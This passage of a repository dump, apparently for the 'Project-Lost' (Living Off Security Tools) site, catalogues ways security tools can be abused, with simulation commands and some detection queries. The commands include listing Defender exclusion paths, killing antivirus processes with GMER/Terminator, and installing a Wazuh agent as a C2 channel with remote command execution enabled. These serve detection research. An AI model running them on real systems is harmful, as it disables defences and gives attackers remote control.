29 |             <path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33.85 0 1.71.11 2.5.33 1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2Z"/>
30 |         </svg>
31 |         Edit this page on GitHub
32 |     </a>
33 | </div>
34 | 


--------------------------------------------------------------------------------
/_sass/styles.scss:
--------------------------------------------------------------------------------
 1 | $dark: #2e323c;
 2 | $light: #fff;
 3 | $brand: rgb(96, 165, 250);
 4 | $accent: rgb(134, 239, 172);
 5 | 
 6 | body {
 7 |     background-color: $dark;
 8 |     color: $light;
 9 |     margin: 0;
10 |     font-family: sans-serif;
11 |     line-height: 1.3;
12 | }
13 | 
14 | #content {
15 |     width: 96%;
16 |     max-width: 900px;
17 |     margin: 0 auto;
18 | }
19 | 
20 | a {
21 |     color: $brand;
22 |     text-decoration: none;
23 | 
24 |     &:hover {
25 |         text-decoration: underline;
26 |     }
27 | }
28 | 
29 | table.lotp {
30 |     width: 100%;
31 | 
32 |     thead {
33 |         text-align: left;
34 |     }
35 | 
36 |     th:first-child {
37 |         width: 30%
38 |     }
39 | 
40 |     tr td:first-child {
41 |        overflow-wrap: none;
42 |     }
43 | }
44 | 
45 | @mixin tag-active {
46 |     background-color: $accent;
47 |     color: $dark;
48 | }
49 | 
50 | a.tag {
51 |     border: 1px solid $accent;
52 |     text-decoration: none;
53 |     padding: 0.1em 0.4em;
54 |     display: inline-block;
55 |     font-family: monospace;
56 |     font-size: 1.05em;
57 |     margin-right: 0.2em;
58 |     margin-bottom: 0.2em;
59 |     color: $accent;
60 | 
61 |     &:hover {
62 |         @include tag-active;
63 | 
64 |     }
65 | }
66 | 
67 | p.tags a.reset {
68 |     display: none;
69 | }
70 | 
71 | #content:not([data-filter=""]) p.tags a.reset {
72 |     display: inline;
73 | }
74 | 
75 | pre.highlight {
76 |     padding: 1em;
77 |     overflow-x: auto;
78 | }
79 | 


--------------------------------------------------------------------------------
/_tool/CarbonBlack.md:
--------------------------------------------------------------------------------
1 | 
2 | 


--------------------------------------------------------------------------------
/_tool/Cortex.md:
--------------------------------------------------------------------------------
1 | 
2 | 


--------------------------------------------------------------------------------
/_tool/Crowdstrike.md:
--------------------------------------------------------------------------------
1 | 
2 | 


--------------------------------------------------------------------------------
/_tool/Defender.md:
--------------------------------------------------------------------------------
 1 | ---
 2 | title: Defender
 3 | tags:
 4 |   - Defense Evasion
 5 | references: 
 6 | - https://blog.fndsec.net/2024/10/04/uncovering-exclusion-paths-in-microsoft-defender-a-security-research-insight/
 7 | files: []
 8 | ---
 9 | 
10 | Microsoft Defender is a built-in security solution in Windows that offers real-time protection against malware, exploits, and various threats, leveraging cloud-based intelligence and centralized management in enterprise environments.
11 | 
12 | # List exclusion paths
13 | 
14 | ## Description
15 | Microsoft Defender can be abused to list exclusion paths to avoid detection without requiring elevated privileges or searching through event logs.
16 | 
17 | ## Simulation
18 | ```
19 | & "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File "C:\path\to\folder\|*"
20 | ```
21 | 
22 | ## MITRE ATT&CK
23 | T1564.012 - Hide Artifacts: File/Path Exclusions
24 | 
25 | ## Detections
26 | ```
27 | DeviceProcessEvents
28 | | where FileName == "MpCmdRun.exe"
29 | | where ProcessCommandLine has "-Scan -ScanType 3 -File"
30 | | where ProcessCommandLine endswith @"|*"
31 | | where InitiatingProcessUserSID != "S-1-5-18"
32 | | project Timestamp, DeviceName, InitiatingProcessAccountName, FileName, ProcessCommandLine
33 | ```


--------------------------------------------------------------------------------
/_tool/GMER.md:
--------------------------------------------------------------------------------
 1 | ---
 2 | title: GMER
 3 | tags:
 4 |   - Defense Evasion
 5 | references: 
 6 | - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a
 7 |   
 8 | - https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive
 9 | files: []
10 | ---
11 | 
12 | GMER is an application that detects and removes rootkits. It scans for:
13 | ```
14 | hidden processes
15 | hidden threads
16 | hidden modules
17 | hidden services
18 | hidden files
19 | hidden disk sectors (MBR)
20 | hidden Alternate Data Streams
21 | hidden registry keys
22 | drivers hooking SSDT
23 | drivers hooking IDT
24 | drivers hooking IRP calls
25 | inline hooks
26 | ```
27 | 
28 | # Disable Antivirus Software
29 | 
30 | ## Description
31 | Ransomware groups used GMER to terminate or disable antivirus processes, especially during lateral movement and persistence phases. This tactic helps evade detection by bypassing security defenses that would otherwise alert to ransomware activity.
32 | 
33 | ## Simulation
34 | ```
35 | & "C:\path	o\gmer.exe" -kill "ProcessName"
36 | ```
37 | The below powershell script an example tool used to load gmer driver and use it kill different kind of software 
38 | 
39 | ```
40 | https://github.com/xiosec/Terminator
41 | Invoke-Terminator -ServiceName terminator -ProcName MsMpEng 
42 | ```
43 | ## MITRE ATT&CK
44 | T1562.001 - Impair Defenses: Disable or Modify Tools
45 | 
46 | ## Detections
47 | 
48 | 
49 | 


--------------------------------------------------------------------------------
/_tool/OSQuery.md:
--------------------------------------------------------------------------------
 1 | ---
 2 | title: OSQuery
 3 | tags:
 4 | - Discovery
 5 | references: 
 6 | - https://osquery.readthedocs.io/en/latest/
 7 | files: [ 'osqueryi']
 8 | ---
 9 | 
10 | osquery is an operating system instrumentation framework for Windows, OS X (macOS), and Linux. The tools make low-level operating system analytics and monitoring both performant and intuitive..
11 | 
12 | # Enumerate users
13 | 
14 | ## Description
15 | 
16 | Osquery can be leveraged to query details about local accounts on a system (retrieving usernames, descriptions, security identifiers (SIDs), etc.)
17 | 
18 | ## Simulation
19 | ```
20 | osqueryi --json "SELECT username, description, sid, directory FROM users;"
21 | ```
22 | ## MITRE ATT&CK
23 | 
24 | T1033 - System Owner/User Discovery
25 | 
26 | ## Detections
27 | 
28 | 
29 | 
30 | # Enumerate System Information
31 | ## Description
32 | 
33 | Osquery can be leveraged to gather comprehensive information about a system such as OS verion, CPU and memory details, network interfaces, process, logged-in users and so on.
34 | 
35 | ## Simulation
36 | ```
37 | osqueryi --json "
38 | SELECT 'os_version' AS category, * FROM os_version
39 | UNION ALL
40 | SELECT 'cpu_info' AS category, * FROM cpu_info
41 | UNION ALL
42 | SELECT 'memory_info' AS category, * FROM memory_info
43 | UNION ALL
44 | SELECT 'block_devices' AS category, * FROM block_devices
45 | UNION ALL
46 | SELECT 'interface_details' AS category, * FROM interface_details
47 | UNION ALL
48 | SELECT 'processes' AS category, pid AS id, name, path FROM processes LIMIT 5
49 | UNION ALL
50 | SELECT 'logged_in_users' AS category, * FROM logged_in_users
51 | UNION ALL
52 | SELECT 'packages' AS category, * FROM packages LIMIT 5
53 | UNION ALL
54 | SELECT 'uptime' AS category, * FROM uptime
55 | UNION ALL
56 | SELECT 'system_info' AS category, hostname, cpu_brand, physical_memory FROM system_info;
57 | "
58 | ```
59 | ## MITRE ATT&CK
60 | 
61 | T1082 - System Information Discovery
62 | T1016 - System Network Configuration Discovery
63 | T1057 - Process Discovery
64 | 
65 | ## Detections
66 | 
67 | 


--------------------------------------------------------------------------------
/_tool/ProcessExplorer.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0xAnalyst/Project-Lost/5c05059eaff9166f08536f5309500fa2ed16502d/_tool/ProcessExplorer.md


--------------------------------------------------------------------------------
/_tool/Velociraptor.md:
--------------------------------------------------------------------------------
 1 | ---
 2 | title: Velociraptor
 3 | tags:
 4 |   - Execution
 5 | references: 
 6 | - https://github.com/Velocidex/velociraptor
 7 | ---
 8 | 
 9 | Velociraptor is a tool for collecting host based state information using The Velociraptor Query Language (VQL) queries.
10 | 
11 | # Enumerate Users
12 | ## Description
13 | 
14 | Velociraptor can be leveraged to collect details about all user accounts on a Windows system by querying the Windows.Sys.AllUsers artifact, returning the information in JSON format.
15 | 
16 | ## Simulation
17 | ```
18 | velociraptor query --artifact "Windows.Sys.AllUsers" --json
19 | ```
20 | ## MITRE ATT&CK
21 | 
22 | 
23 | 
24 | ## Detections
25 | 
26 | # Execute commands
27 | ## Description
28 | 
29 | Velociraptor can be leveraged to execute commands using the Windows command shell, such as in the following example, running ipconfig.
30 | 
31 | ## Simulation
32 | ```
33 | velociraptor client collect --artifact "Windows.System.CmdShell" --parameters command="ipconfig" --client {client_id}
34 | ```
35 | 
36 | ## MITRE ATT&CK
37 | 
38 | T1059.003 - Command and Scripting Interpreter: Windows Command Shell
39 | 
40 | ## Detections
41 | 
42 | 
43 | # Execute Powershell
44 | ## Description
45 | 
46 | 
47 | 
48 | ## Simulation
49 | ```
50 | 
51 | ```
52 | 
53 | ## MITRE ATT&CK
54 | 
55 | T1059.001 - Command and Scripting Interpreter: PowerShell
56 | 
57 | ## Detections
58 | 
59 | 


--------------------------------------------------------------------------------
/_tool/Wazuh.md:
--------------------------------------------------------------------------------
 1 | ---
 2 | title: Wazuh
 3 | tags:
 4 |   - C2
 5 |   - Execution
 6 | references:
 7 | - https://securelist.com/miner-campaign-misuses-open-source-siem-agent/114022/
 8 | - https://documentation.wazuh.com/current/quickstart.html
 9 | files: []
10 | ---
11 | 
12 | Wazuh is a security platform that provides unified XDR and SIEM protection for endpoints and cloud workloads. The solution is composed of a single universal agent and three central components: the Wazuh server, the Wazuh indexer, and the Wazuh dashboard. 
13 | 
14 | ## C2 Connection
15 | ### Description
16 | 
17 | Wazuh can be downloaded (or transfered) and installed on a system, configured for communication with a specified C2 server. Once Wazuh has remote command execution enabled and the service is started, the agent is ready for command and control operations.
18 | 
19 | ### Simulation
20 | ```
21 | powershell.exe Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.5.3-1.msi -OutFile ${env:tmp}\wazuh-agent-4.5.3-1.msi; 
22 | msiexec.exe /i ${env:tmp}\wazuh-agent-4.5.3-1.msi /q WAZUH_MANAGER='C2 Server' WAZUH_REGISTRATION_SERVER='C2 Server' WAZUH_AGENT_GROUP='1'; 
23 | Start-Sleep -Seconds 20;
24 | Add-Content -Path 'C:\Program Files (x86)\ossec-agent\local_internal_options.conf' -Value 'wazuh_command.remote_commands=1'; 
25 | Add-Content -Path 'C:\Program Files (x86)\ossec-agent\local_internal_options.conf' -Value 'logcollector.remote_commands=1'; 
26 | NET START WazuhSvc
27 | ```
28 | 
29 | ### MITRE ATT&CK
30 | 
31 | T1105: Ingress Tool Transfer
32 | T1219: Remote Access Software
33 | 
34 | ### Detections
35 | 
36 | 
37 | 
38 | ## Remote Command Execution
39 | ### Description
40 | 
41 | Once the agent is connected to the "C2" server, the agent allows an adversary to execute commands
42 | 
43 | ### Simulation
44 | ```
45 | /var/ossec/bin/agent-control -R 'whoami'
46 | ```
47 | 
48 | ### MITRE ATT&CK
49 | 
50 | T1059: Command and Scripting Interpreter
51 | T1219: Remote Access Software
52 | 
53 | ### Detections
54 | 
55 | 


--------------------------------------------------------------------------------
/api.json:
--------------------------------------------------------------------------------
 1 | ---
 2 | layout: null
 3 | ---
 4 | [
 5 | {% for tool in site.tool %}
 6 | {
 7 |   "name": {{tool.title | jsonify}},
 8 |   "url": {{tool.url | jsonify}},
 9 |   "tags": {{tool.tags | jsonify}},
10 |   "refs": {{tool.references | jsonify}},
11 |   "html": {{tool.content | jsonify }},
12 |   "meta": {
13 |      "files": {{tool.files | jsonify}},
14 |      "sinks": {{tool.sinks | jsonify}},
15 |      "purl": {{tool.purl | jsonify}}
16 |   }
17 | }
18 | {% unless forloop.last %},{% endunless %}
19 | {% endfor %}
20 | ]
21 | 


--------------------------------------------------------------------------------
/assets/css/styles.scss:
--------------------------------------------------------------------------------
 1 | ---
 2 | ---
 3 | 
 4 | @import "syntax.css";
 5 | 
 6 | @import "styles";
 7 | 
 8 | {% for tag in site.data.tags %}
 9 | #content[data-filter~="{{ tag[0] }}"] {
10 |   tbody tr:not([data-tags~="{{ tag[0] }}"]) {
11 |     display: none;
12 |   }
13 | 
14 |   a.tag[data-tag="{{ tag[0] }}"] {
15 |         @include tag-active;
16 |   }
17 | }
18 | {% endfor %}
19 | 


--------------------------------------------------------------------------------
/assets/css/syntax.css:
--------------------------------------------------------------------------------
  1 | .highlight table td { padding: 5px; }
  2 | .highlight table pre { margin: 0; }
  3 | .highlight {
  4 |   color: #faf6e4;
  5 |   background-color: #122b3b;
  6 | }
  7 | .highlight .gl {
  8 |   color: #dee5e7;
  9 |   background-color: #4e5d62;
 10 | }
 11 | .highlight .gp {
 12 |   color: #a8e1fe;
 13 |   font-weight: bold;
 14 | }
 15 | .highlight .c, .highlight .ch, .highlight .cd, .highlight .cm, .highlight .cpf, .highlight .c1, .highlight .cs {
 16 |   color: #6c8b9f;
 17 |   font-style: italic;
 18 | }
 19 | .highlight .cp {
 20 |   color: #b2fd6d;
 21 |   font-weight: bold;
 22 | }
 23 | .highlight .err {
 24 |   color: #fefeec;
 25 |   background-color: #cc0000;
 26 | }
 27 | .highlight .gr {
 28 |   color: #cc0000;
 29 |   font-weight: bold;
 30 |   font-style: italic;
 31 | }
 32 | .highlight .k, .highlight .kd, .highlight .kv {
 33 |   color: #f6dd62;
 34 |   font-weight: bold;
 35 | }
 36 | .highlight .o, .highlight .ow {
 37 |   color: #4df4ff;
 38 |   font-weight: bold;
 39 | }
 40 | .highlight .p, .highlight .pi {
 41 |   color: #4df4ff;
 42 | }
 43 | .highlight .gd {
 44 |   color: #cc0000;
 45 | }
 46 | .highlight .gi {
 47 |   color: #b2fd6d;
 48 | }
 49 | .highlight .ge {
 50 |   font-style: italic;
 51 | }
 52 | .highlight .gs {
 53 |   font-weight: bold;
 54 | }
 55 | .highlight .gt {
 56 |   color: #dee5e7;
 57 |   background-color: #4e5d62;
 58 | }
 59 | .highlight .kc {
 60 |   color: #f696db;
 61 |   font-weight: bold;
 62 | }
 63 | .highlight .kn {
 64 |   color: #ffb000;
 65 |   font-weight: bold;
 66 | }
 67 | .highlight .kp {
 68 |   color: #ffb000;
 69 |   font-weight: bold;
 70 | }
 71 | .highlight .kr {
 72 |   color: #ffb000;
 73 |   font-weight: bold;
 74 | }
 75 | .highlight .gh {
 76 |   color: #ffb000;
 77 |   font-weight: bold;
 78 | }
 79 | .highlight .gu {
 80 |   color: #ffb000;
 81 |   font-weight: bold;
 82 | }
 83 | .highlight .kt {
 84 |   color: #b2fd6d;
 85 |   font-weight: bold;
 86 | }
 87 | .highlight .no {
 88 |   color: #b2fd6d;
 89 |   font-weight: bold;
 90 | }
 91 | .highlight .nc {
 92 |   color: #b2fd6d;
 93 |   font-weight: bold;
 94 | }
 95 | .highlight .nd {
 96 |   color: #b2fd6d;
 97 |   font-weight: bold;
 98 | }
 99 | .highlight .nn {
100 |   color: #b2fd6d;
101 |   font-weight: bold;
102 | }
103 | .highlight .bp {
104 |   color: #b2fd6d;
105 |   font-weight: bold;
106 | }
107 | .highlight .ne {
108 |   color: #b2fd6d;
109 |   font-weight: bold;
110 | }
111 | .highlight .nl {
112 |   color: #ffb000;
113 |   font-weight: bold;
114 | }
115 | .highlight .nt {
116 |   color: #ffb000;
117 |   font-weight: bold;
118 | }
119 | .highlight .m, .highlight .mb, .highlight .mf, .highlight .mh, .highlight .mi, .highlight .il, .highlight .mo, .highlight .mx {
120 |   color: #f696db;
121 |   font-weight: bold;
122 | }
123 | .highlight .ld {
124 |   color: #f696db;
125 |   font-weight: bold;
126 | }
127 | .highlight .ss {
128 |   color: #f696db;
129 |   font-weight: bold;
130 | }
131 | .highlight .s, .highlight .sb, .highlight .dl, .highlight .sd, .highlight .s2, .highlight .sh, .highlight .sx, .highlight .sr, .highlight .s1 {
132 |   color: #fff0a6;
133 |   font-weight: bold;
134 | }
135 | .highlight .sa {
136 |   color: #f6dd62;
137 |   font-weight: bold;
138 | }
139 | .highlight .se {
140 |   color: #4df4ff;
141 |   font-weight: bold;
142 | }
143 | .highlight .sc {
144 |   color: #4df4ff;
145 |   font-weight: bold;
146 | }
147 | .highlight .si {
148 |   color: #4df4ff;
149 |   font-weight: bold;
150 | }
151 | .highlight .nb {
152 |   font-weight: bold;
153 | }
154 | .highlight .ni {
155 |   color: #999999;
156 |   font-weight: bold;
157 | }
158 | .highlight .w {
159 |   color: #BBBBBB;
160 | }
161 | .highlight .go {
162 |   color: #BBBBBB;
163 | }
164 | .highlight .nf, .highlight .fm {
165 |   color: #a8e1fe;
166 | }
167 | .highlight .py {
168 |   color: #a8e1fe;
169 | }
170 | .highlight .na {
171 |   color: #a8e1fe;
172 | }
173 | .highlight .nv, .highlight .vc, .highlight .vg, .highlight .vi, .highlight .vm {
174 |   color: #a8e1fe;
175 |   font-weight: bold;
176 | }
177 | 


--------------------------------------------------------------------------------
/assets/js/search.js:
--------------------------------------------------------------------------------
 1 | (function () {
 2 |   function update(hash) {
 3 |     let tag = unescape(location.hash.slice(1) || "");
 4 |     let content = document.querySelector("#content");
 5 |     content.dataset.filter = tag;
 6 |   }
 7 | 
 8 |   window.addEventListener("hashchange", update);
 9 |   window.addEventListener("load", update);
10 | })();
11 | 


--------------------------------------------------------------------------------
/index.html:
--------------------------------------------------------------------------------
 1 | ---
 2 | layout: default
 3 | title: Living Off Security Tools
 4 | ---
 5 | 
 6 | <h1><a href="{{site.url}}">Project-Lost</a></h1>
 7 | 
 8 | {% include home.html %}
 9 | 
10 | <h2>Tags</h2>
11 | 
12 | <p class="tags">
13 |     {% for tag in site.data.tags %}
14 |         <a class="tag" data-tag="{{tag[0]}}" href="{{site.url}}?#{{ tag[0] }}" title="{{ tag[1].docs }}">
15 |             {{ tag[0] }}
16 |         </a>
17 |     {% endfor %}
18 |     <a class="reset" href="{{site.url}}?">Reset</a>
19 | </p>
20 | 
21 | 
22 | 
23 | <table class="lotp">
24 |     <thead>
25 |         <th>Tool</th>
26 |         <th>Tags</th>
27 |     </thead>
28 |     <tbody>
29 |         {% for tool in site.tool %}
30 |             <tr data-tags="{% for tag in tool.tags %}{{tag}} {% endfor %}">
31 |                 <td><a href="{{site.url}}{{ tool.url }}">{{ tool.title }}</a></td>
32 |                 <td>
33 |                     {% for tag in tool.tags %}
34 |                         <a class="tag" data-tag="{{tag}}" href="{{site.url}}?#{{ tag }}">{{ tag }}</a>
35 |                     {% endfor %}
36 |                 </td>
37 |             </tr>
38 |         {% endfor %}
39 |     </tbody>
40 | </table>
41 | 
42 | <script src="{{site.url}}/assets/js/search.js"></script>
43 | 


--------------------------------------------------------------------------------